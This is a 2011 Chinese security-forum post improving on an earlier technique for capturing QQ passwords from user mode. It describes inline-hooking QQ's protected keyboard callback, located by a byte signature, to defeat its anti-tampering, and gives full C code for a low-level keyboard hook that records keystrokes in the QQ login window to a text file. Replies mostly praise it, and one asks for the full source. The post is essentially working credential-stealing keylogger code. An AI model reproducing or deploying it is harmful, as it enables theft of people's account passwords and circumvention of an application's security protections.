首页
论坛
课程
招聘
[原创]对Ring3截获QQ密码一文的改进
2011-6-12 09:59 6641

[原创]对Ring3截获QQ密码一文的改进

2011-6-12 09:59
6641
首先感谢hackerlzc给我们带来了这么好的一篇文章:
【原创】QQ2011低级键盘钩子分析----ring3截获QQ密码
http://bbs.pediy.com/showthread.php?t=133943

=====================================================
此文需要干掉QQ的WH_DEBUG的钩子,并且自己安装一个WH_KEYBOARD_LL钩子。

其中提到了,QQ为了保护代码不被修改,会有一个备份代码,进行不停的恢复。

于是我们能不能换一个办法,既然WH_DEBUG有备份,那么QQ的键盘钩子回调函数很可能也是这样进行保护的。

于是搜索特征码:
003CF513    B9 07000000     MOV ECX,7
003CF518    33C0            XOR EAX,EAX
003CF51A    FC              CLD

搜两次哦,进行inline hook,先修改高地址,再修改低地址。

诶,这样就成了

附上我的回调函数内部处理代码:
FILE *fp;
LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
	KBDLLHOOKSTRUCT *p = (KBDLLHOOKSTRUCT *)lParam;
	if( p->flags != 0x10 && p->flags != 0x90 )
	{
		/*
		if (wParam == WM_KEYDOWN)
		{
			
			DWORD dwMsg = 1;
			dwMsg += p->scanCode << 16;
			dwMsg += p->flags << 24; 
			wchar_t KeyText[20] = {0};
			GetKeyNameText(p->scanCode<<16, KeyText, 20);
			DbgPrint(L"%s %d",KeyText,p->time);
		}
		
		if((p->flags & LLKHF_UP) == 0 )
		{
			WORD ch;
			BYTE	keystate[ 256 ] = {0};
			
			GetKeyboardState( keystate );
			
			ToAscii( p->vkCode,p->scanCode,keystate,&ch,0 );
			DbgPrint(L"%c\n",ch);
		}
		*/
		HWND hwnd = GetForegroundWindow();
		TCHAR buff[256];
		GetClassName(hwnd, buff, 255);
		
		DWORD ProcId;
		GetWindowThreadProcessId(hwnd, &ProcId) ;
		
		if (wcscmp(buff, L"TXGuiFoundation") == 0 && GetCurrentProcessId() == ProcId && wParam == WM_KEYDOWN)
		{
			BYTE KeyboardState[256];
			ZeroMemory(KeyboardState, sizeof(KeyboardState));
			GetKeyboardState(KeyboardState);

			KeyboardState[VK_SHIFT] = (BYTE) (GetKeyState(VK_LSHIFT) | GetKeyState(VK_RSHIFT));
			KeyboardState[VK_CAPITAL] = (BYTE) GetKeyState(VK_CAPITAL);
			WORD wChar = 0;

			ToAscii(p->vkCode, p->scanCode, KeyboardState, &wChar, 0);
			
			fp = _wfopen(L"C:\\qqpsw.txt",L"a+");
			
			if ( iswprint(wChar))
			{
				//DbgPrint(L"%c :",wChar);
				
				fwprintf(fp, L"%c",wChar );
			}
			
			else
			  {
				wchar_t KeyText[20] = {0};
				ZeroMemory(KeyText, sizeof(KeyText));

				LONG Flags = 0;
				Flags = p->scanCode << 16;
				Flags |= p->flags << 24;
				
				if (GetKeyNameText(Flags, KeyText, 20) > 0)
				{
				  //DbgPrint(L":%s",KeyText);
				  fwprintf(fp, L"\n%s\t",KeyText );
				}
			}
			fclose(fp);
		}
		
	}
	return qqhook(nCode, wParam, lParam );
}

看雪招聘平台创建简历并且简历完整度达到90%及以上可获得500看雪币~

收藏
点赞0
打赏
分享
最新回复 (6)
雪    币: 20
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
流逝在夏 活跃值 2011-6-12 10:58
2
0
消灭零回复  “ 给我吗带来了这么好的一篇文章”
雪    币: 217
活跃值: 活跃值 (245)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
dayang 活跃值 2011-6-12 11:36
3
0
恩,不错不错,支持下!
雪    币: 46
活跃值: 活跃值 (29)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
付崇碧 活跃值 2011-6-12 12:17
4
0
马克一下,慢慢研读。
雪    币: 27
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
孤单的狼 活跃值 2011-6-12 13:43
5
0
不错 好好读一下
雪    币: 71
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
mumaren 活跃值 2011-6-12 17:28
6
0
功力不够,暂时看不懂
标记一下
雪    币: 473
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
comewisdom 活跃值 2011-6-12 17:37
7
0
能不能把完整的源码传上来,一部分不太好理解.................
游客
登录 | 注册 方可回帖
返回